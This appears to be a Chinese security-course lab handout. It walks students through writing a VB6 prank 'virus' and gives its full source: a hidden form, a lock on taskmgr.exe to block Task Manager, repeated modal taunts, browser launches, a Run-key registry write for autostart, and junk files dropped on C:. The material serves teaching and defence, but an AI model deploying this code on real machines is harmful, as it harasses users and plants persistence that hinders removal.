实验目的

探讨VBS病毒实现原理,为更好的深入防御和查杀病毒

实验原理

VBS病毒发生机理

实验内容

编写简单VBS病毒,并实现功能,学习VBS病毒发生机理

实验环境描述

VPC1(虚拟PC) 操作系统类型:windows xp,网络接口:eth0

VPC1连接要求 与实验网络相连

软件描述 VB6.0

实验步骤

1.学生单击实验进入目标主机,输入用户名和密码:xp 123456(第一次启动目标主机,还需要安装java空间),如图所示:

点击桌面上Visual Basic 6.0精简版——Visual Basic 6.0精简版,打开VB 6.0,如教材图2所示

进入VB6.0可看到如教材所示“新建工程”窗口

1 使用VB6.0 创建一个新的工程,在FORM1 的属性中,找到Visible,修改它的属性为False

这样运行程序时就看不到窗口了

2 在FORM1 的代码窗口中添加代码如下:

Private Sub Form_Load()

Dim say(9) As String

'定义了一个数组,可以保存10 个字符串数据,病毒作者往往使用数组存储调侃语句,捉弄

用户

Dim over As Boolean, i As Integer

over = False

say(0) = "真的好爱你哦!这不,为了摘朵玫瑰花@>+++---给你,竟让看花的老头追了9 条

街!"

'这里就是病毒作者的调侃语句

say(1) = "你以为你是谁?还不是中了病毒没招~~"

say(2) = "除非你承认错误,否则本病毒就是不给你关闭~"

'这里还可以设置很多语句

say(9) = "谁让你不好好学习计算机安全知识,中了病毒傻眼了吧~"

Open Environ("windir") + "\system32\taskmgr.exe" for Input Lock Read As #1

'使用open 语句打开任务管理器时,用户无法调用任务管理器关闭病毒进程

'其中的lock read 实现了锁定读操作

Do while over = False

'---------------------------------1:弹出模态窗口

MsgBox say(i), vbCritical, "病毒警告!"

'显示一个模态窗口,导致无法用户操作其他窗口

i = i + 1

'---------------------------------2:循环打开病毒网站

Shell "explorer.exe http://g.cn", vbNormalFocus

'---------------------------------3:写入注册表实现自启动

Set my = CreateObject("WScript.Shell") '创建一个WScript 对象

my.regWrite

"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\test",

App.Path + "\" + App.EXEName + ".exe", "REG_SZ"

'---------------------------------4:写入垃圾信息

Dim x As Integer

Randomize

x = Rnd(1000)

On Error Resume Next

Open "c:\virus_" + CStr(x) + ".txt" for Output As #1 '打开磁盘文件

Print #1, say(i) '写入垃圾信息

Close

'---------------------------------OVER

if i = 10 Then over = True ' 这里只循环了10 次,黑客可能会循环无限次

Loop

Close

End Sub

3 生产程序后,执行病毒,会发现该病毒实现了弹出一些警告对话框及一些站点,同时会写入注册表实现病毒耳朵自启动,最后还会向磁盘写入一些垃圾信息。

jpg)

我们还会发现,病毒实现了自启动,运行,输入Regedit 打开注册表

我们在下图中的位置会发现,病毒在 Run 中填写了test,其键值指向我们病毒的程序

还会生成一些垃圾文件

VBS病毒实验的更多相关文章

  1. crack.vbs病毒,优盘里所有文件全变成快捷方式

    去了一趟学校打印店,用优盘copy打印了点东西,当时在打印店电脑里打开优盘的时候里面就变成了快捷方式,但没怎么在意.回来之后在自己电脑上居然也这样了.网上一搜是中了crack.vbs病毒了.格式化优盘 ...

  2. autorun.vbs病毒的清除办法

    症状:计算机里面出现一堆autorun为文件名称的文件,删除后出现找不到autorun.vbs的提示.我就打开当中的一个文件:Autorun.bat,内容例如以下: @echo off  //不显示系 ...

  3. VBS脚本病毒特点及如何防范3(转)

    5.Vbs病毒生产机的原理介绍 所谓病毒生产机就是指可以直接根据用户的选择产生病毒源代码的软件.在很多人看来这或许不可思议,其实对脚本病毒而言它的实现非常简单. 脚本语言是解释执行的.不需要编译,程序 ...

  4. Vbs脚本经典教材(转)

    Vbs脚本经典教材(最全的资料还是MSDN) —为什么要使用Vbs? 在Windows中,学习计算机操作也许很简单,但是很多计算机工作是重复性劳动,例如你每周也许需要对一些计算机文件进行复制.粘贴.改 ...

  5. VBS教程

    Vbs是一种Windows脚本,它的全称是:Microsoft Visual Basic Script Editon.(微软公司可视化BASIC脚本版),VBS是Visual Basic的的一个抽象子 ...

  6. [转帖]VBS 教程

    VBS教程 http://www.cnblogs.com/veggiegfei/p/5943260.html 原作者真牛B 网上找了好多 没找到 没想到整理的这么好, 转来学习一下 改天打印出来. V ...

  7. Vbs 脚本编程简明教程之一

    —为什么要使用 Vbs ? 在 Windows 中,学习计算机操作也许很简单,但是很多计算机工作是重复性劳动,例如你每周也许需要对一些计算机文件进行复制.粘贴.改名.删除,也许你每天启动 计算机第一件 ...

  8. Vbs脚本经典教材

    转载:http://www.cnblogs.com/BeyondTechnology/archive/2011/01/10/1932440.html Vbs脚本经典教材(最全的资料还是MSDN) —为 ...

  9. JS七种加密解密方法

    http://www.cnblogs.com/mq0036/p/4983858.html HTML或JS加密解密 本文一共介绍了七种方法:   一:最简单的加密解密   二:转义字符"\&q ...

随机推荐

  1. ubuntu安装更换阿里云镜像源

    如果使用apt-get安装软件过慢,可以考虑以下步骤 1.备份 sudo cp /etc/apt/sources.list /etc/apt/sources.list.bak 2.编辑 sudo vi ...

  2. rocketmq实现延迟队列精确到秒级实现方案3-时间轮和秒级文件实现

    时间轮和秒级文件实现原理图 这种方案比较简单实现,通过秒级时间,建立对应的文件夹,只要相同的时间超时的消息,就在同一个目录,通过msgid保证文件不重复,等到了时间后,就扫描对应的文件夹的文件,发送到 ...

  3. Java类与对象的创建

    以类的方式组织代码,以对象的方式组织(封装)数据 组织代码(类) public class Demo04 { String name;//默认值null int age;//默认值0 public v ...

  4. [STM32F10x] 标准库初始化问题

    硬件:STM32F103C8T6 平台:ARM-MDK V5.11 STM32F系列提供的标准库都是通过结构体来初始化的.比如,以下是GPIO初始化的一个示例代码: GPIO_InitTypeDef ...

  5. Flink源码学习笔记(3)了解Flink HA功能的实现

    使用Flink HA功能维护JobManager中组件的生命周期,可以有效的避免因为JobManager 进程失败导致任务无法恢复的情况. 接下来分享下 Flink HA功能的实现 大纲 基于Zook ...

  6. 元数据性能大比拼:HDFS vs OSS vs JuiceFS

    背景 存储是大数据的基石,存储系统的元数据又是它的核心大脑,元数据的性能对整个大数据平台的性能和扩展能力非常关键.本文选取了大数据平台中 3 个典型的存储方案来压测元数据的性能,来个大比拼. 其中 H ...

  7. IDEA Debug常用快捷键

    快捷键 介绍 F7 步入:进入到方法内部执行.一般步入自定义的方法.区别于强行步入 F8 步过:不会进入到方法内部,直接执行. F9 恢复程序:下面有断点则运行到下一断点,否则结束程序. Shift+ ...

  8. 使用Maven导入MySQL驱动包遇到的问题

    问题描述 今天在使用Maven导入MySQL数据库驱动包依赖后,直接运行项目,出现错误. java.sql.SQLException: No suitable driver found for jdb ...

  9. ubuntu 终端乱码

    转载请注明来源:https://www.cnblogs.com/hookjc/ 解决方法: 一. Ubuntu默认的中文字符编码 Ubuntu默认的中文字符编码为zh_CN.UTF-8, 这个可以在 ...

  10. 手势仿QQ侧滑---秀清

    // // SlideViewController.h // qqcehua // // Created by 张秀清 on 15/5/25. // Copyright (c) 2015年 张秀清. ...